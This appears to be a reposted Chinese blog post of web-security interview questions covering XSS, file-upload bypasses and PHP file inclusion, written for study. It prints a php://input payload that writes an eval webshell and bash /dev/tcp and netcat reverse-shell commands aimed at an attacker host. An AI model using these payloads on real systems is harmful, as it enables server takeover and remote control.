【XSS,文件上传,文件包含】


前言

收集网络安全岗位常见面试题


题目


1.xss漏洞原理,分类,区别,危害,防护,如何检测

原理:
XSS攻击通常指的是通过利用网页开发时留下的漏洞,对用户的输入过滤不严格,使得攻击者通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。

分类:反射型xss,存储型xss,dom型xss

区别
1.攻击类型
反射型xss:非持久型xss,一次性的攻击
存储型xss:持久型xss,攻击者构造的恶意代码或脚本将保存到数据库当中,用户每次访问的时候都会被攻击。
dom型xss:非持久型xss,它是基于DOM文档对象模型的一种漏洞,不需要与服务器进行交互。
2.流量走向
反射型xss:浏览器-后端-浏览器
存储型xss:浏览器-后端-数据库-后端-浏览器
dom型xss:URL-浏览器

危害:
-盗取各种用户账号
-窃取用户Cookie资料,冒充用户身份进入网站
-劫持用户会话,执行任意操作
-刷流量,执行弹窗广告
-传播蠕虫病毒

防护:
1.通过黑名单,白名单的方式对用户的输入进行严格的过滤(如script,alert,onerror等关键字),尽可能杜绝一切不必要的输入内容
2.对用户的输入进行各种编码解码以及转义
3.设置http only属性,使得通过js脚本将无法读取到cookie信息,能有效地防止xss攻击

如何检测:
1.手工注入检测:在可能存在注入点的地方尝试手工注入
2.自动化工具检测:例如通过bp下载xss检测插件,然后在可能存在注入点的地方进行自动化爆破,也可以使用自动化漏洞扫描工具AWVS,Appscan进行扫描检测


2.文件上传漏洞原理,绕过方式,利用的前提条件,防护

原理:
1.Web应用开放了文件上传功能,并且对上传的文件没有进行足够的限制,比如文件后缀名,文件内容等;
2.程序开发部署时候,没有考虑到系统特性和过滤不严格
3.攻击者通过Web服务器解析漏洞绕过限制,导致可以上传任意文件。

绕过方式:
客户端绕过:
1.删除浏览器事件(onsubmit)
2.brup抓包修改后缀名
3.构造上传表单
服务端检测绕过
1.后缀名检测与绕过

1.大小写绕过
2.黑名单绕过(1.修改httpd.conf 中addtype application/x-httpd-php .php3)
3.windows特性(. 空格 ::$DATA)
4.白名单(需要配合文件包含漏洞或者解析漏洞)
5…htaccess(该利用方式首先要在httpd.conf 将allow override 改为 all ) 写入 SetHandler application/x-httpd-php .jpg)
6.apache 解析漏洞(从右往左解析后缀名)

2.MIME类型检测与绕过
3.文件内容检测与绕过
4.00截断检测与绕过
5.条件竞争检测与绕过

利用的前提条件:
1.Web服务器要开启文件上传功能,Web 用户可以访问
2.Web用户对目标目录具有可写权限,甚至具有执行权限
3.Web容器可以解析执行我们上传的脚本

防护:
1.客户端校验文件名和服务端文件名校验两者同时开启,运用白名单的方式检测
2.文件头校验:查看上传过来的文件的文件头是否和扩展名匹配。
3.将上传上来的文件和Web服务器隔离,专门存放到一台文件服务器上,通过文件ID来访问。如果非要将文件存放在Web服务器一起,可以将存放文件的文件夹的可执行权限去掉。
4.将上传的文件进行随机重新命名。


3.文件包含原理,分类,常用函数和伪协议,,怎么防护,怎么利用和获取webshell,怎么反弹shell

**原理:**程序开发人员一般希望代码更加灵活,所以将重复使用的函数写入文件,将被包含的文件设置为变量,用来进行动态调用,但是由于用户对这个变量可控而且服务端又没有做合理的校检或者校检被绕过就造成了文件包含漏洞。

分类:
文件包含漏洞可以分为本地文件包含和远程文件包含两种。
而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_url_include。如果开启就有可能包含远程文件。
远程文件包含需要php.ini中allow_url_include=On, allow_url_fopen = On。
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

常用函数:
include() :执行到include()才包含文件,找不到包含文件只会产生警告,还会接着运行后面的脚本
require(): 只要程序一运行就会包含文件,找不到包含文件则会产生致命错误,并且脚本运行终止
include_once()和require_once():如文件包含被运行了,则不会运行第二次

常用伪协议:
1.php://input
例:
POST提交<?php fputs(fopen("hepeng.php","w"),"<?php @eval($_POST[123]); ?>"); ?>
利用命令执行也可以
POST提交<?php system(echo "一句话木马" > 当前绝对路径/hepeng.php); ?>
2.php://filter
例:
?a=php://filter/read=convert.base64-encode/resource=index.php
?a=php://filter/convert.base64-encode/resource=index.php
3.data://
例:
?a=data://text/plain,<一句话木马>
?a=data://tetx/plain;base64,密文
4.phar://
?a=phar://绝对路径/hepeng.jpg(zip)/b.txt
5.zip://
?a=zip://绝对路径/hepeng.jpg%23b.txt
还有如file:// , http:// , ftp://

防护:
1.严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含文件是否可以被外部控制。
2.路径限制:限制被包含的文件只能在某一文件夹内,禁止目录跳转字符,如:“…/”
3.包含文件验证:验证被包含的文件是否是白名单中的一员。
4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(“test.php”);

怎么利用和获取webshell:
1.上传文件包含利用:利用包含漏洞将用户上传的 php 代码由包含函数加载,进而实现代码执行。条件是攻击者需知道上传文件的物理存放路径,还需要对上传文件所在目录有执行权限。
2.日志文件包含利用:攻击者可以向 Web 日志中插入 PHP 代码,通过文件包含漏洞来执行包含在 Web 日志中的 PHP 代码。
3.敏感文件包含利用:文件包含可直接读取操作系统中的敏感文件,如当前操作系统信息、用户名密码信息、各类配置文件等。
4. 临时文件包含利用:如 Session 文件为例,session 文件保存在服务器端,并且保存用户敏感信息。首先找到 Session 文件并包含一次,可以通过插件查看当前 Session 值来找到文件名。
5. 远程文件包含利用:使用远程文件包含功能,首先要确定 PHP 是否开启远程文件包含功能选项,需要再 php.ini 配置文件中修改,修改后重启 Web 容器服务使其生效,可以远程获取服务器的信息。
6.伪协议利用:利用文件包含各个php封装伪协议写入一句话木马,再用菜刀,蚁剑等工具连接获取webshell

反弹shell:
1.bash
在攻击主机上执行端口监听: //port 为攻击主机端口号,并且此端口号没有被占用
nc -lvp port
在目标主机上执行:
bash -i >& /dev/tcp/攻击主机ip/port 0>&1 //port 为攻击主机端口号
2.nc(netcat)反弹
在攻击主机上执行端口监听:
nc -lvvp port //port 为攻击主机端口号,并且此端口号没有被占用
在目标主机上执行:
nc -e /bin/bash 攻击主机ip port
3.常见脚本反弹
python,perl, Ruby,PHP,Java

简要介绍一下,后面会出反弹shell详解


总结

本期简单介绍了几题,后续会持续更新的,可以关注一下!
加油吧,打工人!!!呜呜呜

猜你喜欢

转载自blog.csdn.net/qq_61872115/article/details/126076599
今日推荐